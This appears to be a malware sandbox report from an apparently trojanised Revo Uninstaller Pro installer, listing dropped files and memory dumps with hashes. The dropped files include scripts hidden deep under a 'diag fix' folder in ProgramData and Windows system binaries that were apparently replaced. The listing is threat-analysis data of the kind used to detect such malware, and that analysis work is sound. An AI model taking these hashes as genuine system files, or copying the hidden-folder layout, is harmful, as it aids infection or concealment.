                        revouninstallerpro5.lic
                        • Path C:\ProgramData\VS Revo Group\Revo Uninstaller Pro\revouninstallerpro5.lic
                        • Size 62KB
                        • SHA256 8203717a32696a2c505d7ad6a6b1c835c2ea5b4fd486fb584d9d151241d39936
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        PCWDiagnostic.xml
                        • Path C:\ProgramData\diag fix\index\PCWDiagnostic.xml
                        • Size 100KB
                        • SHA256 675f140b4f71a25ee2ddbdee8367b9ac774afc30ca541fc2e4cbc8d738335815
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        win.ps1
                        • Path C:\ProgramData\diag fix\scheduled\Maintenance\Resources\Licenses\Settings\A\News\win.ps1
                        • Size 106KB
                        • SHA256 aa473b497f678fa03231fd55cd7c93467a26223f58f05581f59d4a81abd50152
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        2.js
                        • Path C:\ProgramData\diag fix\scheduled\Maintenance\Resources\Licenses\setup\2.js
                        • Size 344KB
                        • SHA256 93e3616dfbbbd1c95cd17c892a1676cbbd72b0c083be2e756cac7542566423fc
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        DiagPackage.dll.mui
                        • Path C:\ProgramData\diag fix\system\Apps\Prefetch\DiagPackage.dll.mui
                        • Size 9KB
                        • SHA256 b07cfffb57172a40a388f8f38817301c5b81a6a87a849b210e45eed60d0a36cf
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        CL_LocalizationData.psd1
                        • Path C:\ProgramData\diag fix\system\Apps\ShellNew\CL_LocalizationData.psd1
                        • Size 3KB
                        • SHA256 82d59d69833c45c7b6a73b95bc2a878a59fdc849fd76aff21d8c268ee024d738
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        DiagPackage.dll.mui
                        • Path C:\ProgramData\diag fix\system\Apps\ShellNew\DiagPackage.dll.mui
                        • Size 8KB
                        • SHA256 64eb9b75083ff881602ad48de5795e519c98de84029c2846bcfc857644a64c47
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        CL_LocalizationData.psd1
                        • Path C:\ProgramData\diag fix\system\Audio\Prefetch\CL_LocalizationData.psd1
                        • Size 3KB
                        • SHA256 00a6c19fc0e6bc0d9da94c3ee1fa3628672ff8d2211d7d5ac8b297feb7aed670
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        setup.exe
                        • Path C:\ProgramData\setup.exe
                        • Size 1.2MB
                        • SHA256 06fe03ffff5e931f7dc58bb06b6ca515786bb032eef295be382100c6d440e9a6
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        __PSScriptPolicyTest_puxy3j5n.0jo.psm1
                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_puxy3j5n.0jo.psm1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        setup.tmp
                        • Path C:\Users\Admin\AppData\Local\Temp\is-J95AC.tmp\setup.tmp
                        • Size 1.2MB
                        • SHA256 c25f8b158444c0148cee81be1a3fa4cfc7daa2e0644b1c59a2c258591e6e3201
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        Revo Uninstaller Pro.lnk
                        • Path C:\Users\Public\Desktop\Revo Uninstaller Pro.lnk
                        • Size 1KB
                        • SHA256 58a5259322d7f4c8eb525ee5176b79003d8870f37a663be1c14bdec8adf445a6
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        perfhost.exe
                        • Path C:\Windows\SysWOW64\perfhost.exe
                        • Size 1.2MB
                        • SHA256 6733a7c0f6151ab1407b6fe8e4db43587212b67948fd3ca4a713356418dacea5
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        AgentService.exe
                        • Path C:\Windows\System32\AgentService.exe
                        • Size 1.4MB
                        • SHA256 d10209680325e30614b43aa5402705c1b39393f6e1093a75d2b9a0127764a14d
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        ssh-agent.exe
                        • Path C:\Windows\System32\OpenSSH\ssh-agent.exe
                        • Size 1.8MB
                        • SHA256 1fdbfc363deda6e007671088705f86e637c5055a9b10e88df064b8ab5670a8f0
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        ReFsDedupSvc.exe
                        • Path C:\Windows\System32\ReFsDedupSvc.exe
                        • Size 2.6MB
                        • SHA256 327caf48a4e1d7d34dba863527ca1335f9c82c3c271ce40772e549a6a6fd229c
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        SearchIndexer.exe
                        • Path C:\Windows\System32\SearchIndexer.exe
                        • Size 1.4MB
                        • SHA256 ccdc7f647c94c990dd1bcf4705609a3bdfd7c2d5346c67226553c1e0ca7696f7
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        SensorDataService.exe
                        • Path C:\Windows\System32\SensorDataService.exe
                        • Size 1.7MB
                        • SHA256 b54314471b5fa57fde5ae834278394024456ac537277854e0269241450f412a8
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        revoflt.sys
                        • Path C:\Windows\System32\drivers\revoflt.sys
                        • Size 37KB
                        • SHA256 25667717bf4691957f07a6363585e2c7eaf22e5fd7229bf32c91ea59ef4a2edd
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        AppVClient.exe
                        • Path C:\Windows\system32\AppVClient.exe
                        • Size 1.3MB
                        • SHA256 aa9b091a37c1cb620032f1229b4f2848b9ede07d6d3df20618e4f04872664dff
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        PerceptionSimulationService.exe
                        • Path C:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exe
                        • Size 1.5MB
                        • SHA256 e58d5023e0318698b02ee0d4afdd941269c3dfbdef3d612b9232e2cc710cdedd
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        SgrmBroker.exe
                        • Path C:\Windows\system32\Sgrm\SgrmBroker.exe
                        • Size 1.6MB
                        • SHA256 1e857935adc52c33b2d59927d112694e69e058178120acae77887962800b6493
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        memory/236-1275-0x00000000030E0000-0x0000000003116000-memory.dmp
                        Download

                        memory/236-1319-0x000000000A650000-0x000000000A658000-memory.dmp
                        Download

                        memory/236-1318-0x000000000A660000-0x000000000A67C000-memory.dmp
                        Download

                        memory/236-1317-0x000000000A600000-0x000000000A615000-memory.dmp
                        Download

                        memory/236-1316-0x000000000A5F0000-0x000000000A600000-memory.dmp
                        Download

                        memory/236-1311-0x0000000007E30000-0x0000000007E41000-memory.dmp
                        Download

                        memory/236-1310-0x000000000A690000-0x000000000A726000-memory.dmp
                        Download

                        memory/236-1309-0x0000000007E20000-0x0000000007E2A000-memory.dmp
                        Download

                        memory/236-1308-0x0000000007D30000-0x0000000007DD3000-memory.dmp
                        Download

                        memory/236-1304-0x0000000073D60000-0x00000000740BB000-memory.dmp
                        Download

                        memory/236-1307-0x0000000007D10000-0x0000000007D30000-memory.dmp
                        Download

                        memory/236-1303-0x0000000073770000-0x00000000737BC000-memory.dmp
                        Download

                        memory/236-1302-0x0000000007CD0000-0x0000000007D06000-memory.dmp
                        Download

                        memory/236-1297-0x0000000007BF0000-0x0000000007C8C000-memory.dmp
                        Download

                        memory/236-1296-0x0000000002FD0000-0x0000000002FDA000-memory.dmp
                        Download

                        memory/236-1295-0x00000000078F0000-0x000000000790A000-memory.dmp
                        Download

                        memory/236-1294-0x0000000007F70000-0x00000000085EC000-memory.dmp
                        Download

                        memory/236-1293-0x0000000006B90000-0x0000000006BD8000-memory.dmp
                        Download

                        memory/236-1292-0x0000000006630000-0x000000000667C000-memory.dmp
                        Download

                        memory/236-1291-0x0000000006260000-0x000000000627E000-memory.dmp
                        Download

                        memory/236-1290-0x00000000062D0000-0x000000000662B000-memory.dmp
                        Download

                        memory/236-1286-0x0000000006030000-0x0000000006096000-memory.dmp
                        Download

                        memory/236-1287-0x00000000060A0000-0x0000000006106000-memory.dmp
                        Download

                        memory/236-1285-0x0000000005700000-0x0000000005722000-memory.dmp
                        Download

                        memory/236-1279-0x0000000005970000-0x0000000005FBA000-memory.dmp
                        Download

                        memory/464-684-0x00000000016D0000-0x0000000001730000-memory.dmp
                        Download

                        memory/464-696-0x0000000140000000-0x000000014022C000-memory.dmp
                        Download

                        memory/464-694-0x00000000016D0000-0x0000000001730000-memory.dmp
                        Download

                        memory/464-690-0x00000000016D0000-0x0000000001730000-memory.dmp
                        Download

                        memory/464-683-0x0000000140000000-0x000000014022C000-memory.dmp
                        Download

                        memory/944-975-0x0000000140000000-0x0000000140226000-memory.dmp
                        Download

                        memory/944-705-0x00000000007B0000-0x0000000000810000-memory.dmp
                        Download

                        memory/944-699-0x00000000007B0000-0x0000000000810000-memory.dmp
                        Download

                        memory/944-698-0x0000000140000000-0x0000000140226000-memory.dmp
                        Download

                        memory/1328-962-0x000001F1BE240000-0x000001F1BE262000-memory.dmp
                        Download

                        memory/2088-1225-0x0000000000400000-0x0000000000540000-memory.dmp
                        Download

                        memory/2088-1183-0x0000000000400000-0x0000000000540000-memory.dmp
                        Download

                        memory/2088-1231-0x0000000000400000-0x0000000000540000-memory.dmp
                        Download

                        memory/2492-1232-0x0000000000400000-0x000000000043A000-memory.dmp
                        Download

                        memory/2492-722-0x0000000000400000-0x000000000043A000-memory.dmp
                        Download

                        memory/2492-998-0x0000000000400000-0x000000000043A000-memory.dmp
                        Download

                        memory/2588-1313-0x0000000006500000-0x000000000653C000-memory.dmp
                        Download

                        memory/2588-1300-0x0000000005770000-0x0000000005D2A000-memory.dmp
                        Download

                        memory/2588-1299-0x0000000000400000-0x000000000044E000-memory.dmp
                        Download

                        memory/2588-1312-0x00000000060D0000-0x00000000060E2000-memory.dmp
                        Download

                        memory/2588-1301-0x00000000051B0000-0x0000000005242000-memory.dmp
                        Download

                        memory/2588-1315-0x0000000006870000-0x000000000687A000-memory.dmp
                        Download

                        memory/3092-1191-0x0000000000400000-0x0000000000E32000-memory.dmp
                        Download

                        memory/3328-660-0x0000000140000000-0x00000001402E9000-memory.dmp
                        Download

                        memory/3328-667-0x0000000000880000-0x00000000008E0000-memory.dmp
                        Download

                        memory/3328-661-0x0000000000880000-0x00000000008E0000-memory.dmp
                        Download

                        memory/3328-802-0x0000000140000000-0x00000001402E9000-memory.dmp
                        Download

                        memory/3404-958-0x0000000000620000-0x0000000000680000-memory.dmp
                        Download

                        memory/3404-952-0x0000000000620000-0x0000000000680000-memory.dmp
                        Download

                        memory/3404-951-0x0000000140000000-0x0000000140172000-memory.dmp
                        Download

                        memory/3404-1223-0x0000000140000000-0x0000000140172000-memory.dmp
                        Download

                        memory/3440-1038-0x0000000140000000-0x0000000140222000-memory.dmp
                        Download

                        memory/3440-718-0x0000000000C70000-0x0000000000CD0000-memory.dmp
                        Download

                        memory/3440-711-0x0000000000C70000-0x0000000000CD0000-memory.dmp
                        Download

                        memory/3440-717-0x0000000140000000-0x0000000140222000-memory.dmp
                        Download

                        memory/3572-1209-0x0000000140000000-0x0000000140295000-memory.dmp
                        Download

                        memory/3572-803-0x0000000140000000-0x0000000140295000-memory.dmp
                        Download

                        memory/3572-858-0x0000000000E30000-0x0000000000E90000-memory.dmp
                        Download

                        memory/3572-852-0x0000000000E30000-0x0000000000E90000-memory.dmp
                        Download

                        memory/4404-18-0x0000000000487000-0x0000000000488000-memory.dmp
                        Download

                        memory/4404-709-0x0000000000400000-0x0000000000488000-memory.dmp
                        Download

                        memory/4404-14-0x0000000000400000-0x0000000000488000-memory.dmp
                        Download

                        memory/4404-1238-0x0000000000400000-0x0000000000488000-memory.dmp
                        Download

                        memory/4476-762-0x0000000000830000-0x0000000000890000-memory.dmp
                        Download

                        memory/4476-1188-0x0000000140000000-0x00000001401BA000-memory.dmp
                        Download

                        memory/4476-755-0x0000000140000000-0x00000001401BA000-memory.dmp
                        Download

                        memory/4476-1186-0x0000000000830000-0x0000000000890000-memory.dmp
                        Download

                        memory/4476-756-0x0000000000830000-0x0000000000890000-memory.dmp
                        Download

                        memory/4588-1253-0x000001F27B970000-0x000001F27BFF0000-memory.dmp
                        Download

                        memory/4588-1329-0x000001F27B970000-0x000001F27BFF0000-memory.dmp
                        Download

                        memory/4892-754-0x0000000140000000-0x00000001402B3000-memory.dmp
                        Download

                        memory/4892-648-0x0000000000EC0000-0x0000000000F20000-memory.dmp
                        Download

                        memory/4892-654-0x0000000000EC0000-0x0000000000F20000-memory.dmp
                        Download

                        memory/4892-974-0x0000000140000000-0x00000001402B3000-memory.dmp
                        Download

                        memory/4892-647-0x0000000140000000-0x00000001402B3000-memory.dmp
                        Download

                        memory/4892-1259-0x0000000140000000-0x00000001402B3000-memory.dmp
                        Download

                        memory/4892-1207-0x0000000140000000-0x00000001402B3000-memory.dmp
                        Download

                        memory/4892-1254-0x0000000140000000-0x00000001402B3000-memory.dmp
                        Download

                        memory/4892-1270-0x0000000140000000-0x00000001402B3000-memory.dmp
                        Download

                        memory/4892-1237-0x0000000140000000-0x00000001402B3000-memory.dmp
                        Download

                        memory/4892-1267-0x0000000000EC0000-0x0000000000F20000-memory.dmp
                        Download

                        memory/4892-1264-0x0000000140000000-0x00000001402B3000-memory.dmp
                        Download

                        memory/4892-1262-0x0000000140000000-0x00000001402B3000-memory.dmp
                        Download

                        memory/5088-888-0x0000000140000000-0x0000000140168000-memory.dmp
                        Download

                        memory/5088-875-0x0000000140000000-0x0000000140168000-memory.dmp
                        Download

                        memory/5088-882-0x0000000000820000-0x0000000000880000-memory.dmp
                        Download

                        memory/5088-876-0x0000000000820000-0x0000000000880000-memory.dmp
                        Download

                        memory/5088-884-0x0000000000820000-0x0000000000880000-memory.dmp
                        Download

                        memory/5268-672-0x0000000140000000-0x00000001402D4000-memory.dmp
                        Download

                        memory/5268-673-0x00000000006E0000-0x0000000000740000-memory.dmp
                        Download

                        memory/5268-874-0x0000000140000000-0x00000001402D4000-memory.dmp
                        Download

                        memory/5268-679-0x00000000006E0000-0x0000000000740000-memory.dmp
                        Download

                        memory/5492-733-0x0000000000910000-0x0000000000976000-memory.dmp
                        Download

                        memory/5492-726-0x0000000000910000-0x0000000000976000-memory.dmp
                        Download

                        memory/5492-725-0x0000000000400000-0x00000000005EE000-memory.dmp
                        Download

                        memory/5492-1123-0x0000000000400000-0x00000000005EE000-memory.dmp
                        Download

                        memory/5984-749-0x00000000007B0000-0x0000000000810000-memory.dmp
                        Download

                        memory/5984-1184-0x0000000140000000-0x00000001402C9000-memory.dmp
                        Download

                        memory/5984-1255-0x00000000007B0000-0x0000000000810000-memory.dmp
                        Download

                        memory/5984-1257-0x0000000140000000-0x00000001402C9000-memory.dmp
                        Download

                        memory/5984-748-0x0000000140000000-0x00000001402C9000-memory.dmp
                        Download

                        memory/6060-1219-0x0000000140000000-0x000000014194C000-memory.dmp
                        Download

                        memory/6060-1211-0x0000000002180000-0x00000000021E0000-memory.dmp
                        Download

                        memory/6060-1230-0x0000000140000000-0x000000014194C000-memory.dmp
                        Download

                        memory/6060-1228-0x0000000002180000-0x00000000021E0000-memory.dmp
                        Download

                        memory/6060-1217-0x0000000002180000-0x00000000021E0000-memory.dmp
                        Download